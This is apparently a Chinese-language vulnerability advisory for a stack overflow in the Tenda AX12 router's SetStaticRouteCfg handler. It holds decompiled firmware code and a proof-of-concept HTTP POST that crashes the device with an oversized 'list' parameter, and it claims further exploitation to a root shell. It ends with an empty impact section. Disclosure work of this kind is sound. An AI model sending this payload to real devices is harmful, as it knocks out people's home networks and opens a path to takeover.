Tenda AX12 V1.0 V22.03.01.46 存在堆栈溢出漏洞

概述：

影响设备：Tenda AX12 V1.0
影响固件版本：V22.03.01.46
影响：拒绝服务攻击，栈溢出可以进一步获得root shell
固件下载地址：https://www.tenda.com.cn/download/detail-3621.html

漏洞：

该漏洞位于 `/goform/SetStaticRouteCfg` 中对获取的请求参数 `list` 没有长度限制，最终可以导致堆栈溢出
在 `httpd` 文件中的 `sub_41DE60` 函数中存在目标漏洞函数 `sub_43B6BC`

```
sub_40A144((int)"SetStaticRouteCfg", (int)sub_43B6BC);// vuln
```

漏洞存在于 `sub_43B3C4` 中：

```
1  int __fastcall sub_43B6BC(int a1)
2  {
3    int v3[4]; // [sp+1Ch] [-18h] BYREF
4
5    memset(v3, 0, sizeof(v3));
6    blob_buf_init((int)v3, 0);
7    sub_43B3C4(a1, v3);                   // vuln
8    tapi_set_route(v3[0]);
9    blob_buf_free(v3);
10   sub_41E91C(a1, 0);
11   return _stack_chk_guard;
12 }
```

可以看到将请求参数`list`传入变量`v3`，由于并未对变量`v3`做长度限制，下面的`sscanf`函数将以逗号作为分隔将`v3`的值分别传入`v16,v18,v19,v20`，而这几个变量只需要一定长度的填充就可以栈溢出，可以轻易的导致拒绝服务攻击，进一步构造exp能够获取shell,漏洞如下图:

```c
int v16[4]; // [sp+2Ch] [-54h] BYREF //
int v17[4]; // [sp+3Ch] [-44h] BYREF //
int v18[4]; // [sp+4Ch] [-34h] BYREF //
int v19[4]; // [sp+5Ch] [-24h] BYREF //
int v20[4]; // [sp+6Ch] [-14h] BYREF //

memset(v16, 0, sizeof(v16));
memset(v17, 0, sizeof(v17));
memset(v18, 0, sizeof(v18));
memset(v19, 0, sizeof(v19));
memset(v20, 0, sizeof(v20));
v3 = sub_415C94(a1, "list", (int)"");
printf("get_route_info_wp list:%s\n", v3);
if ( (unsigned int)strlen(v3) < 5 )
  return -1;
while ( 1 )
{
  v4 = (_BYTE *)strchr(v3, 126);
  v5 = v20;
  v6 = v19;
  if ( !v4 )
    break;
  *v4 = 0;
  v13 = v4 + 1;
  if ( sscanf(v3, "%[^,],%[^,],%[^,],%s", v16, v18, v19, v20) == 4 )// stack overflow
```

POC:

```
POST /goform/SetStaticRouteCfg HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 773
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: 192.168.122.15
Origin: http://192.168.122.15
Proxy-Connection: keep-alive
Referer: http://192.168.122.15/index.html
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.5790.171 Safari/537.36
X-Requested-With: XMLHttpRequest

list=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa
```

影响效果：